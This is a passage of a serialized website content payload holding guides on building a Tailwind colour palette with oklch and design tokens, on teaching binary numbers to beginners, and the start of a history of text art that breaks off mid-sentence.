shade",[135,199847,199849],{"className":1607,"code":199848,"language":1609,"meta":141,"style":141},"\u002F\u002F Generate shades from an oklch base\nfunction generateShades(L, C, H) {\n  const lightnesses = [0.97, 0.93, 0.85, 0.75, 0.65, 0.55, 0.45, 0.37, 0.28, 0.22, 0.15]\n  return lightnesses.map(l => `oklch(${l} ${C} ${H})`)\n}\n",[143,199850,199851,199856,199877,199932,199965],{"__ignoreMap":141},[1560,199852,199853],{"class":1562,"line":1563},[1560,199854,199855],{"class":1649},"\u002F\u002F Generate shades from an oklch base\n",[1560,199857,199858,199860,199863,199865,199867,199869,199871,199873,199875],{"class":1562,"line":337},[1560,199859,8648],{"class":1669},[1560,199861,199862],{"class":1566}," generateShades",[1560,199864,1688],{"class":1570},[1560,199866,159450],{"class":2219},[1560,199868,1459],{"class":1570},[1560,199870,21993],{"class":2219},[1560,199872,1459],{"class":1570},[1560,199874,159483],{"class":2219},[1560,199876,9345],{"class":1570},[1560,199878,199879,199881,199884,199886,199888,199890,199892,199894,199896,199898,199900,199902,199904,199906,199908,199910,199912,199914,199916,199918,199920,199922,199924,199926,199928,199930],{"class":1562,"line":343},[1560,199880,28057],{"class":1669},[1560,199882,199883],{"class":1576}," lightnesses",[1560,199885,8186],{"class":1669},[1560,199887,39830],{"class":1570},[1560,199889,159728],{"class":1576},[1560,199891,1459],{"class":1570},[1560,199893,159749],{"class":1576},[1560,199895,1459],{"class":1570},[1560,199897,56399],{"class":1576},[1560,199899,1459],{"class":1570},[1560,199901,72471],{"class":1576},[1560,199903,1459],{"class":1570},[1560,199905,159810],{"class":1576},[1560,199907,1459],{"class":1570},[1560,199909,51069],{"class":1576},[1560,199911,1459],{"class":1570},[1560,199913,159851],{"class":1576},[1560,199915,1459],{"class":1570},[1560,199917,159872],{"class":1576},[1560,199919,1459],{"class":1570},[1560,199921,159893],{"class":1576},[1560,199923,1459],{"class":1570},[1560,199925,159914],{"class":1576},[1560,199927,1459],{"class":1570},[1560,199929,19693],{"class":1576},[1560,199931,37203],{"class":1570},[1560,199933,199934,199936,199939,199941,199943,199945,199947,199950,199952,199955,199957,199959,199961,199963],{"class":1562,"line":365},[1560,199935,9350],{"class":1669},[1560,199937,199938],{"class":1570}," lightnesses.",[1560,199940,9371],{"class":1566},[1560,199942,1688],{"class":1570},[1560,199944,157026],{"class":2219},[1560,199946,9378],{"class":1669},[1560,199948,199949],{"class":5634}," `oklch(${",[1560,199951,157026],{"class":1570},[1560,199953,199954],{"class":5634},"} ${",[1560,199956,21993],{"class":1576},[1560,199958,199954],{"class":5634},[1560,199960,159483],{"class":1576},[1560,199962,29059],{"class":5634},[1560,199964,8252],{"class":1570},[1560,199966,199967],{"class":1562,"line":889},[1560,199968,1585],{"class":1570},[33,199970,199972],{"id":199971},"hex-fallbacks","Hex Fallbacks",[16,199974,199975],{},"OKLCH browser support is growing but not universal. Generate hex values for your Tailwind config and deliver oklch via CSS custom properties for progressive enhancement:",[135,199977,199979],{"className":1554,"code":199978,"language":1556,"meta":141,"style":141},":root {\n  --brand-500: #3366ff;           \u002F* Fallback *\u002F\n  --brand-500: oklch(0.55 0.2 260); \u002F* Modern browsers override *\u002F\n}\n",[143,199980,199981,199987,199999,200020],{"__ignoreMap":141},[1560,199982,199983,199985],{"class":1562,"line":1563},[1560,199984,2207],{"class":1566},[1560,199986,1571],{"class":1570},[1560,199988,199989,199991,199993,199995,199997],{"class":1562,"line":337},[1560,199990,159822],{"class":2219},[1560,199992,1663],{"class":1570},[1560,199994,102888],{"class":1576},[1560,199996,4421],{"class":1570},[1560,199998,160315],{"class":1649},[1560,200000,200001,200003,200005,200007,200009,200011,200013,200015,200017],{"class":1562,"line":343},[1560,200002,159822],{"class":2219},[1560,200004,1663],{"class":1570},[1560,200006,30410],{"class":1576},[1560,200008,1688],{"class":1570},[1560,200010,51069],{"class":1576},[1560,200012,30419],{"class":1576},[1560,200014,102872],{"class":1576},[1560,200016,5171],{"class":1570},[1560,200018,200019],{"class":1649},"\u002F* Modern browsers override *\u002F\n",[1560,200021,200022],{"class":1562,"line":365},[1560,200023,1585],{"class":1570},[11,200025,200027],{"id":200026},"design-token-architecture","Design Token Architecture",[33,200029,200031],{"id":200030},"css-custom-properties-as-source-of-truth","CSS Custom Properties as Source of Truth",[135,200033,200035],{"className":1554,"code":200034,"language":1556,"meta":141,"style":141},"\u002F* app\u002Fassets\u002Fcss\u002Fmain.css *\u002F\n:root {\n  \u002F* Brand palette *\u002F\n  --color-brand-50: oklch(0.97 0.02 260);\n  --color-brand-500: oklch(0.55 0.2 260);\n  --color-brand-900: oklch(0.22 0.15 260);\n\n  \u002F* Semantic tokens *\u002F\n  --color-bg-primary: var(--color-brand-50);\n  --color-text-primary: var(--color-brand-900);\n  --color-interactive: var(--color-brand-500);\n}\n\n.dark {\n  --color-bg-primary: var(--color-brand-950);\n  --color-text-primary: var(--color-brand-50);\n  --color-interactive: var(--color-brand-400);\n}\n",[143,200036,200037,200042,200048,200053,200073,200092,200111,200115,200120,200136,200152,200168,200172,200176,200182,200197,200211,200226],{"__ignoreMap":141},[1560,200038,200039],{"class":1562,"line":1563},[1560,200040,200041],{"class":1649},"\u002F* app\u002Fassets\u002Fcss\u002Fmain.css *\u002F\n",[1560,200043,200044,200046],{"class":1562,"line":337},[1560,200045,2207],{"class":1566},[1560,200047,1571],{"class":1570},[1560,200049,200050],{"class":1562,"line":343},[1560,200051,200052],{"class":1649},"  \u002F* Brand palette *\u002F\n",[1560,200054,200055,200058,200060,200062,200064,200066,200069,200071],{"class":1562,"line":365},[1560,200056,200057],{"class":2219},"  --color-brand-50",[1560,200059,1663],{"class":1570},[1560,200061,30410],{"class":1576},[1560,200063,1688],{"class":1570},[1560,200065,159728],{"class":1576},[1560,200067,200068],{"class":1576}," 0.02",[1560,200070,102872],{"class":1576},[1560,200072,1744],{"class":1570},[1560,200074,200075,200078,200080,200082,200084,200086,200088,200090],{"class":1562,"line":889},[1560,200076,200077],{"class":2219},"  --color-brand-500",[1560,200079,1663],{"class":1570},[1560,200081,30410],{"class":1576},[1560,200083,1688],{"class":1570},[1560,200085,51069],{"class":1576},[1560,200087,30419],{"class":1576},[1560,200089,102872],{"class":1576},[1560,200091,1744],{"class":1570},[1560,200093,200094,200097,200099,200101,200103,200105,200107,200109],{"class":1562,"line":1710},[1560,200095,200096],{"class":2219},"  --color-brand-900",[1560,200098,1663],{"class":1570},[1560,200100,30410],{"class":1576},[1560,200102,1688],{"class":1570},[1560,200104,159914],{"class":1576},[1560,200106,159875],{"class":1576},[1560,200108,102872],{"class":1576},[1560,200110,1744],{"class":1570},[1560,200112,200113],{"class":1562,"line":1717},[1560,200114,1702],{"emptyLinePlaceholder":363},[1560,200116,200117],{"class":1562,"line":1747},[1560,200118,200119],{"class":1649},"  \u002F* Semantic tokens *\u002F\n",[1560,200121,200122,200125,200127,200129,200131,200134],{"class":1562,"line":2507},[1560,200123,200124],{"class":2219},"  --color-bg-primary",[1560,200126,1663],{"class":1570},[1560,200128,2497],{"class":1576},[1560,200130,1688],{"class":1570},[1560,200132,200133],{"class":2219},"--color-brand-50",[1560,200135,1744],{"class":1570},[1560,200137,200138,200141,200143,200145,200147,200150],{"class":1562,"line":2524},[1560,200139,200140],{"class":2219},"  --color-text-primary",[1560,200142,1663],{"class":1570},[1560,200144,2497],{"class":1576},[1560,200146,1688],{"class":1570},[1560,200148,200149],{"class":2219},"--color-brand-900",[1560,200151,1744],{"class":1570},[1560,200153,200154,200157,200159,200161,200163,200166],{"class":1562,"line":2529},[1560,200155,200156],{"class":2219},"  --color-interactive",[1560,200158,1663],{"class":1570},[1560,200160,2497],{"class":1576},[1560,200162,1688],{"class":1570},[1560,200164,200165],{"class":2219},"--color-brand-500",[1560,200167,1744],{"class":1570},[1560,200169,200170],{"class":1562,"line":2534},[1560,200171,1585],{"class":1570},[1560,200173,200174],{"class":1562,"line":2542},[1560,200175,1702],{"emptyLinePlaceholder":363},[1560,200177,200178,200180],{"class":1562,"line":2558},[1560,200179,4355],{"class":1566},[1560,200181,1571],{"class":1570},[1560,200183,200184,200186,200188,200190,200192,200195],{"class":1562,"line":2570},[1560,200185,200124],{"class":2219},[1560,200187,1663],{"class":1570},[1560,200189,2497],{"class":1576},[1560,200191,1688],{"class":1570},[1560,200193,200194],{"class":2219},"--color-brand-950",[1560,200196,1744],{"class":1570},[1560,200198,200199,200201,200203,200205,200207,200209],{"class":1562,"line":6638},[1560,200200,200140],{"class":2219},[1560,200202,1663],{"class":1570},[1560,200204,2497],{"class":1576},[1560,200206,1688],{"class":1570},[1560,200208,200133],{"class":2219},[1560,200210,1744],{"class":1570},[1560,200212,200213,200215,200217,200219,200221,200224],{"class":1562,"line":11615},[1560,200214,200156],{"class":2219},[1560,200216,1663],{"class":1570},[1560,200218,2497],{"class":1576},[1560,200220,1688],{"class":1570},[1560,200222,200223],{"class":2219},"--color-brand-400",[1560,200225,1744],{"class":1570},[1560,200227,200228],{"class":1562,"line":11621},[1560,200229,1585],{"class":1570},[33,200231,200233],{"id":200232},"mapping-tokens-to-tailwind","Mapping Tokens to Tailwind",[135,200235,200237],{"className":1607,"code":200236,"language":1609,"meta":141,"style":141},"\u002F\u002F tailwind.config.ts\nexport default {\n  theme: {\n    extend: {\n      colors: {\n        bg: {\n          primary: 'var(--color-bg-primary)',\n        },\n        text: {\n          primary: 'var(--color-text-primary)',\n        },\n        interactive: 'var(--color-interactive)',\n        brand: {\n          50: 'var(--color-brand-50)',\n          500: 'var(--color-brand-500)',\n          900: 'var(--color-brand-900)',\n        },\n      },\n    },\n  },\n}\n",[143,200238,200239,200243,200251,200255,200259,200263,200268,200278,200282,200287,200296,200300,200310,200314,200325,200336,200347,200351,200355,200359,200363],{"__ignoreMap":141},[1560,200240,200241],{"class":1562,"line":1563},[1560,200242,199370],{"class":1649},[1560,200244,200245,200247,200249],{"class":1562,"line":337},[1560,200246,9187],{"class":1669},[1560,200248,11837],{"class":1669},[1560,200250,1571],{"class":1570},[1560,200252,200253],{"class":1562,"line":343},[1560,200254,17530],{"class":1570},[1560,200256,200257],{"class":1562,"line":365},[1560,200258,92475],{"class":1570},[1560,200260,200261],{"class":1562,"line":889},[1560,200262,92480],{"class":1570},[1560,200264,200265],{"class":1562,"line":1710},[1560,200266,200267],{"class":1570},"        bg: {\n",[1560,200269,200270,200273,200276],{"class":1562,"line":1717},[1560,200271,200272],{"class":1570},"          primary: ",[1560,200274,200275],{"class":5634},"'var(--color-bg-primary)'",[1560,200277,11943],{"class":1570},[1560,200279,200280],{"class":1562,"line":1747},[1560,200281,20786],{"class":1570},[1560,200283,200284],{"class":1562,"line":2507},[1560,200285,200286],{"class":1570},"        text: {\n",[1560,200288,200289,200291,200294],{"class":1562,"line":2524},[1560,200290,200272],{"class":1570},[1560,200292,200293],{"class":5634},"'var(--color-text-primary)'",[1560,200295,11943],{"class":1570},[1560,200297,200298],{"class":1562,"line":2529},[1560,200299,20786],{"class":1570},[1560,200301,200302,200305,200308],{"class":1562,"line":2534},[1560,200303,200304],{"class":1570},"        interactive: ",[1560,200306,200307],{"class":5634},"'var(--color-interactive)'",[1560,200309,11943],{"class":1570},[1560,200311,200312],{"class":1562,"line":2542},[1560,200313,199395],{"class":1570},[1560,200315,200316,200318,200320,200323],{"class":1562,"line":2558},[1560,200317,199400],{"class":1576},[1560,200319,1663],{"class":1570},[1560,200321,200322],{"class":5634},"'var(--color-brand-50)'",[1560,200324,11943],{"class":1570},[1560,200326,200327,200329,200331,200334],{"class":1562,"line":2570},[1560,200328,199460],{"class":1576},[1560,200330,1663],{"class":1570},[1560,200332,200333],{"class":5634},"'var(--color-brand-500)'",[1560,200335,11943],{"class":1570},[1560,200337,200338,200340,200342,200345],{"class":1562,"line":6638},[1560,200339,199507],{"class":1576},[1560,200341,1663],{"class":1570},[1560,200343,200344],{"class":5634},"'var(--color-brand-900)'",[1560,200346,11943],{"class":1570},[1560,200348,200349],{"class":1562,"line":11615},[1560,200350,20786],{"class":1570},[1560,200352,200353],{"class":1562,"line":11621},[1560,200354,11976],{"class":1570},[1560,200356,200357],{"class":1562,"line":11633},[1560,200358,17600],{"class":1570},[1560,200360,200361],{"class":1562,"line":11638},[1560,200362,11862],{"class":1570},[1560,200364,200365],{"class":1562,"line":11672},[1560,200366,1585],{"class":1570},[11,200368,200370],{"id":200369},"dark-mode-palette-design","Dark Mode Palette Design",[16,200372,200373],{},"Dark mode is not just inverted light mode. Key principles:",[41,200375,200376,200385,200391,200397],{},[44,200377,200378,200381,200382],{},[47,200379,200380],{},"Don't switch to pure black"," — use your darkest brand shade or a dark neutral like ",[143,200383,200384],{},"slate-900",[44,200386,200387,200390],{},[47,200388,200389],{},"Reduce chroma"," — saturated colors appear to vibrate on dark backgrounds. Drop chroma by 15–20% in dark mode",[44,200392,200393,200396],{},[47,200394,200395],{},"Increase lightness gap"," — on dark backgrounds, you need more contrast between text and surface than on light backgrounds",[44,200398,200399,200402],{},[47,200400,200401],{},"Test both themes simultaneously"," — design components that look correct in both modes",[11,200404,200406],{"id":200405},"validation-checklist","Validation Checklist",[16,200408,200409],{},"Before shipping a custom palette:",[41,200411,200413,200419,200425,200431,200437,200443],{"className":200412},[4464],[44,200414,200416,200418],{"className":200415},[4468],[4470,200417],{"disabled":363,"type":4472}," Every text color meets 4.5:1 contrast against its background (both themes)",[44,200420,200422,200424],{"className":200421},[4468],[4470,200423],{"disabled":363,"type":4472}," The scale steps are perceptually even (no jarring jumps)",[44,200426,200428,200430],{"className":200427},[4468],[4470,200429],{"disabled":363,"type":4472}," Brand colors are distinguishable under color vision deficiency simulation",[44,200432,200434,200436],{"className":200433},[4468],[4470,200435],{"disabled":363,"type":4472}," Dark mode palette doesn't cause eye strain (no saturated-on-dark combinations)",[44,200438,200440,200442],{"className":200439},[4468],[4470,200441],{"disabled":363,"type":4472}," All shades are used — if 100 and 200 are too similar, collapse them",[44,200444,200446,200448],{"className":200445},[4468],[4470,200447],{"disabled":363,"type":4472}," CSS custom properties and Tailwind config values stay in sync",[11,200450,321],{"id":320},[41,200452,200453,200457,200461],{},[44,200454,200455],{},[98,200456,2612],{"href":2611},[44,200458,200459],{},[98,200460,91813],{"href":93255},[44,200462,200463],{},[98,200464,3906],{"href":4559},[11,200466,286],{"id":285},[16,200468,200469],{},"Design and preview custom color palettes with live shade generation. Export directly to Tailwind config or CSS custom properties.",[16,200471,4531,200472],{},[98,200473,200474],{"href":2422},[47,200475,2423],{},[2043,200477,200478],{},"html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}",{"title":141,"searchDepth":337,"depth":337,"links":200480},[200481,200482,200486,200490,200494,200495,200496,200497],{"id":199348,"depth":337,"text":199349},{"id":199355,"depth":337,"text":199356,"children":200483},[200484,200485],{"id":199359,"depth":343,"text":199360},{"id":199562,"depth":343,"text":199563},{"id":199681,"depth":337,"text":199682,"children":200487},[200488,200489],{"id":199688,"depth":343,"text":199689},{"id":199971,"depth":343,"text":199972},{"id":200026,"depth":337,"text":200027,"children":200491},[200492,200493],{"id":200030,"depth":343,"text":200031},{"id":200232,"depth":343,"text":200233},{"id":200369,"depth":337,"text":200370},{"id":200405,"depth":337,"text":200406},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"How to extend Tailwind CSS with a custom brand color palette using oklch and design tokens.",{"immutable":363},"\u002Fguides\u002Ftailwind-custom-palette-design",{"title":199343,"description":200498},"guides\u002Ftailwind-custom-palette-design","Ug1H7Z0tH-xIiDbTE8X-8RI9dQNpHoUVdzrN-t8LxEQ",{"id":200505,"title":200506,"body":200507,"date":2070,"description":200953,"extension":361,"meta":200954,"navigation":363,"path":200955,"readingTime":889,"seo":200956,"stem":200957,"__hash__":200958},"guides\u002Fguides\u002Fteaching-binary-beginners.md","Teaching Binary to Beginners",{"type":8,"value":200508,"toc":200937},[200509,200513,200520,200523,200537,200541,200544,200550,200553,200559,200562,200566,200569,200623,200626,200632,200635,200639,200642,200735,200742,200746,200749,200755,200769,200772,200776,200780,200783,200787,200790,200794,200797,200801,200872,200876,200907,200909,200929,200931],[11,200510,200512],{"id":200511},"why-binary-is-hard-to-learn","Why Binary Is Hard to Learn",[16,200514,200515,200516,200519],{},"Binary forces people to unlearn something they have used since childhood — counting in base 10. The digits 0-9 feel natural because we have ten fingers. Binary uses only 0 and 1, which feels restrictive until you understand that ",[47,200517,200518],{},"the counting logic is identical"," — only the base changes.",[16,200521,200522],{},"The two biggest sticking points for beginners:",[77,200524,200525,200531],{},[44,200526,200527,200530],{},[47,200528,200529],{},"\"Why only 0 and 1?\""," — Computers store data as electrical states (on\u002Foff), so base-2 is the natural fit.",[44,200532,200533,200536],{},[47,200534,200535],{},"\"How does 10 equal two?\""," — In binary, each position represents a power of 2, not a power of 10. The \"1\" in the twos place plus the \"0\" in the ones place equals two.",[11,200538,200540],{"id":200539},"start-with-what-they-know-decimal","Start With What They Know: Decimal",[16,200542,200543],{},"Before explaining binary, make decimal explicit. Most people count in base-10 without thinking about why it works.",[135,200545,200548],{"className":200546,"code":200547,"language":140},[138],"Decimal:  3059 = 3×1000 + 0×100 + 5×10 + 9×1\n                  10³      10²     10¹    10⁰\n",[143,200549,200547],{"__ignoreMap":141},[16,200551,200552],{},"Then show the same structure with base-2:",[135,200554,200557],{"className":200555,"code":200556,"language":140},[138],"Binary:   1011 = 1×8 + 0×4 + 1×2 + 1×1\n                 2³    2²    2¹    2⁰\n\nDecimal value: 8 + 0 + 2 + 1 = 11\n",[143,200558,200556],{"__ignoreMap":141},[16,200560,200561],{},"The pattern is the same — positional notation with increasing powers. Change the base from 10 to 2, and the system still works.",[11,200563,200565],{"id":200564},"the-power-of-2-ladder","The Power-of-2 Ladder",[16,200567,200568],{},"Teach binary as a ladder where each rung doubles:",[193,200570,200571,200590],{},[196,200572,200573],{},[199,200574,200575,200578,200581,200584,200587],{},[202,200576,200577],{},"Position (right to left)",[202,200579,200580],{},"4th",[202,200582,200583],{},"3rd",[202,200585,200586],{},"2nd",[202,200588,200589],{},"1st",[211,200591,200592,200609],{},[199,200593,200594,200597,200600,200603,200606],{},[216,200595,200596],{},"Power of 2",[216,200598,200599],{},"2³ = 8",[216,200601,200602],{},"2² = 4",[216,200604,200605],{},"2¹ = 2",[216,200607,200608],{},"2⁰ = 1",[199,200610,200611,200614,200617,200619,200621],{},[216,200612,200613],{},"Binary digit",[216,200615,200616],{},"1 or 0",[216,200618,200616],{},[216,200620,200616],{},[216,200622,200616],{},[16,200624,200625],{},"To convert binary to decimal, add up the positions where the bit is 1:",[135,200627,200630],{"className":200628,"code":200629,"language":140},[138],"1011 → 8 + 0 + 2 + 1 = 11\n1100 → 8 + 4 + 0 + 0 = 12\n0010 → 0 + 0 + 2 + 0 = 2\n",[143,200631,200629],{"__ignoreMap":141},[16,200633,200634],{},"This approach avoids the confusing \"multiply and add\" formula. Just look at which positions are \"on.\"",[11,200636,200638],{"id":200637},"counting-in-binary-the-increment-trick","Counting in Binary — The Increment Trick",[16,200640,200641],{},"Teach counting sequentially so beginners see the pattern emerge:",[193,200643,200644,200655],{},[196,200645,200646],{},[199,200647,200648,200650,200652],{},[202,200649,5271],{},[202,200651,115685],{},[202,200653,200654],{},"What changed?",[211,200656,200657,200666,200675,200684,200692,200701,200709,200718,200726],{},[199,200658,200659,200661,200663],{},[216,200660,5285],{},[216,200662,115698],{},[216,200664,200665],{},"Start",[199,200667,200668,200670,200672],{},[216,200669,3585],{},[216,200671,115709],{},[216,200673,200674],{},"Flip rightmost 0 to 1",[199,200676,200677,200679,200681],{},[216,200678,10099],{},[216,200680,115721],{},[216,200682,200683],{},"Right bit flips to 0, carry to next",[199,200685,200686,200688,200690],{},[216,200687,17821],{},[216,200689,115732],{},[216,200691,200674],{},[199,200693,200694,200696,200698],{},[216,200695,12546],{},[216,200697,115744],{},[216,200699,200700],{},"Two carries ripple left",[199,200702,200703,200705,200707],{},[216,200704,13431],{},[216,200706,115756],{},[216,200708,200674],{},[199,200710,200711,200713,200715],{},[216,200712,44593],{},[216,200714,115768],{},[216,200716,200717],{},"Carry one position",[199,200719,200720,200722,200724],{},[216,200721,735],{},[216,200723,115780],{},[216,200725,200674],{},[199,200727,200728,200730,200732],{},[216,200729,10078],{},[216,200731,80124],{},[216,200733,200734],{},"Three carries ripple left",[16,200736,200737,200738,200741],{},"The rule becomes visible: ",[47,200739,200740],{},"flip bits right to left. If you hit a 1, flip it to 0 and carry left."," This is exactly how decimal carries work — most people never notice.",[11,200743,200745],{"id":200744},"the-binary-finger-trick","The Binary Finger Trick",[16,200747,200748],{},"Use fingers to make binary physical. Each finger represents one bit:",[135,200750,200753],{"className":200751,"code":200752,"language":140},[138],"Thumb  = 1  (2⁰)\nIndex  = 2  (2¹)\nMiddle = 4  (2²)\nRing   = 8  (2³)\nPinky  = 16 (2⁴)\n",[143,200754,200752],{"__ignoreMap":141},[41,200756,200757,200760,200763,200766],{},[44,200758,200759],{},"Up finger = 1, down finger = 0",[44,200761,200762],{},"Hold up thumb and index = 1 + 2 = 3",[44,200764,200765],{},"Hold up thumb and middle = 1 + 4 = 5",[44,200767,200768],{},"Hold up all fingers = 1 + 2 + 4 + 8 + 16 = 31",[16,200770,200771],{},"Kids love this because they can count to 31 on one hand. The physical act makes the \"each position doubles\" concept tangible.",[11,200773,200775],{"id":200774},"real-world-analogies-that-work","Real-World Analogies That Work",[33,200777,200779],{"id":200778},"light-switches","Light Switches",[16,200781,200782],{},"Binary digits are light switches — on or off, no dimmer. Eight switches give you 256 combinations (2⁸). This maps directly to how computers store bytes.",[33,200784,200786],{"id":200785},"coin-flips","Coin Flips",[16,200788,200789],{},"Each flip is a bit — heads or tails. Flip 8 coins, and the sequence of results is an 8-bit binary number. This connects probability to binary naturally.",[33,200791,200793],{"id":200792},"egg-cartons","Egg Cartons",[16,200795,200796],{},"An egg carton has 12 slots. Each slot is either empty (0) or holds an egg (1). Twelve slots = 12 bits = 4,096 possible combinations.",[11,200798,200800],{"id":200799},"common-teaching-mistakes","Common Teaching Mistakes",[193,200802,200803,200815],{},[196,200804,200805],{},[199,200806,200807,200809,200812],{},[202,200808,3684],{},[202,200810,200811],{},"Why It Confuses",[202,200813,200814],{},"What to Do Instead",[211,200816,200817,200828,200839,200850,200861],{},[199,200818,200819,200822,200825],{},[216,200820,200821],{},"Starting with conversion formulas",[216,200823,200824],{},"Abstract math before intuition",[216,200826,200827],{},"Start with counting, then ladder, then conversion",[199,200829,200830,200833,200836],{},[216,200831,200832],{},"Saying \"binary is just math\"",[216,200834,200835],{},"Intimidates non-math students",[216,200837,200838],{},"Lead with physical analogies",[199,200840,200841,200844,200847],{},[216,200842,200843],{},"Skipping decimal review",[216,200845,200846],{},"Students do not realize they already use positional notation",[216,200848,200849],{},"Make base-10 explicit first",[199,200851,200852,200855,200858],{},[216,200853,200854],{},"Using 8-bit examples from the start",[216,200856,200857],{},"Too many positions overwhelm",[216,200859,200860],{},"Start with 4-bit numbers (0-15)",[199,200862,200863,200866,200869],{},[216,200864,200865],{},"Teaching addition before conversion",[216,200867,200868],{},"Students confuse carries with place values",[216,200870,200871],{},"Master conversion first",[11,200873,200875],{"id":200874},"practice-exercises","Practice Exercises",[77,200877,200878,200884,200890,200896],{},[44,200879,200880,200883],{},[47,200881,200882],{},"Decode race",": Give students 10 binary numbers. First to convert all to decimal wins.",[44,200885,200886,200889],{},[47,200887,200888],{},"Binary birthday",": Write your age in binary. (Age 25 = 11001)",[44,200891,200892,200895],{},[47,200893,200894],{},"Count to 20",": Write binary for every number 0-20. Watch the pattern.",[44,200897,200898,200901,200902,114849,200905,468],{},[47,200899,200900],{},"Secret messages",": Use ASCII tables to encode short words in binary. ",[143,200903,200904],{},"Hi",[143,200906,84029],{},[11,200908,1355],{"id":1354},[41,200910,200911,200914,200917,200920,200923,200926],{},[44,200912,200913],{},"Binary uses the same positional notation as decimal — only the base changes from 10 to 2",[44,200915,200916],{},"The power-of-2 ladder makes conversion visual: add up positions where bits are 1",[44,200918,200919],{},"Teaching counting sequentially reveals the carry pattern learners already know from decimal",[44,200921,200922],{},"Physical analogies (fingers, switches, coins) make abstract bits concrete",[44,200924,200925],{},"Start with 4-bit numbers before introducing full bytes",[44,200927,200928],{},"Practice through games and encoding tasks beats memorization every time",[11,200930,286],{"id":285},[16,200932,200933,200934,200936],{},"Convert text to binary and see every character's byte representation with our ",[98,200935,13894],{"href":13893}," tool. Type your name, a sentence, or a secret message — and watch the binary appear instantly.",{"title":141,"searchDepth":337,"depth":337,"links":200938},[200939,200940,200941,200942,200943,200944,200949,200950,200951,200952],{"id":200511,"depth":337,"text":200512},{"id":200539,"depth":337,"text":200540},{"id":200564,"depth":337,"text":200565},{"id":200637,"depth":337,"text":200638},{"id":200744,"depth":337,"text":200745},{"id":200774,"depth":337,"text":200775,"children":200945},[200946,200947,200948],{"id":200778,"depth":343,"text":200779},{"id":200785,"depth":343,"text":200786},{"id":200792,"depth":343,"text":200793},{"id":200799,"depth":337,"text":200800},{"id":200874,"depth":337,"text":200875},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},"Practical strategies for teaching binary number systems to beginners — from counting tricks to real-world analogies that make base-2 click.",{"immutable":363},"\u002Fguides\u002Fteaching-binary-beginners",{"title":200506,"description":200953},"guides\u002Fteaching-binary-beginners","5769nH-3Eb9fz6gCQdH0BPbiQ1IRp5iEk7LrQb2v_VA",{"id":200960,"title":7110,"body":200961,"date":2070,"description":201162,"extension":361,"meta":201163,"navigation":363,"path":7109,"readingTime":7146,"seo":201166,"stem":201167,"__hash__":201168},"guides\u002Fguides\u002Ftext-art-history.md",{"type":8,"value":200962,"toc":201150},[200963,200966,200970,200973,200976,200979,200983,200986,200989,200992,200996,200999,201002,201005,201009,201012,201015,201018,201022,201025,201051,201054,201058,201065,201068,201071,201075,201078,201107,201110,201112,201129,201131,201141,201143,201146],[16,200964,200965],{},"Text art has been part of human communication for nearly 150 years — long before computers existed. What started as a creative experiment on mechanical typewriters evolved through teleprinters, mainframes, and bulletin boards into the ASCII art tools developers use today. This guide traces that journey.",[11,200967,200969],{"id":200968},"typewriter-art-where-it-began","Typewriter Art: Where It Began",[16,200971,200972],{},"The earliest known text art dates back to the late 1800s. Typists discovered that by carefully choosing characters and spacing, they could produce portraits, landscapes, and decorative borders entirely on a typewriter. Unlike handwriting, type produced consistent, repeatable results — making it possible to distribute copies of text art through printed magazines and catalogs.",[16,200974,200975],{},"By the 1890s, typewriter art had become a recognized novelty. Office workers created greeting cards and decorative stationery using nothing but letter keys and careful carriage returns. These pieces required extraordinary patience: a single portrait might involve hundreds of exact keystrokes with no way to correct mistakes.",[16,200977,200978],{},"The most celebrated early practitioner was Flora Stacey, a British secretary whose 1898 butterfly composition — built from parentheses, slashes, and periods — circulated widely and is often cited as the first documented piece of typewriter art.",[11,200980,200982],{"id":200981},"the-teletype-era","The Teletype Era",[16,200984,200985],{},"In the early 20th century, teleprinters (also called teletypes or TTYs) introduced a new medium for text art. These machines transmitted messages over electrical lines, printing characters onto paper rolls. Operators discovered they could send carefully sequenced characters to reproduce simple images remotely.",[16,200987,200988],{},"Teletype art had constraints that shaped its aesthetic. Characters arrived at a fixed pitch, paper widths were narrow, and transmission was slow. Every character cost money and time. The resulting art was necessarily compact and economical — a tradition that carried directly into early ASCII art.",[16,200990,200991],{},"During World War II, teletype operators on both sides created decorative banners and cartoons to break the monotony of routine military communications. These informal pieces demonstrated that text art served a social function even in high-pressure environments: it humanized the machine.",[11,200993,200995],{"id":200994},"mainframes-and-early-computer-art","Mainframes and Early Computer Art",[16,200997,200998],{},"The arrival of interactive computing in the 1960s opened new possibilities. Line printers — large, noisy devices that printed one line at a time — became the canvas for a generation of computer artists.",[16,201000,201001],{},"At Bell Labs, researchers including Michael Noll and Ken Knowlton explored whether computers could generate art algorithmically. Knowlton developed BEFLIX, one of the first programming languages for computer animation, while Noll used a Stromberg-Carlson SC-4020 microfilm plotter to create geometric patterns. Some of their output used character-based rendering that closely resembled ASCII art.",[16,201003,201004],{},"Around the same time, operators at universities and research labs began creating ASCII art by hand, typing characters directly into text files. The lack of graphic displays meant that if you wanted an image on a computer, characters were your only option. Princeton, MIT, and Stanford all had informal ASCII art cultures by the early 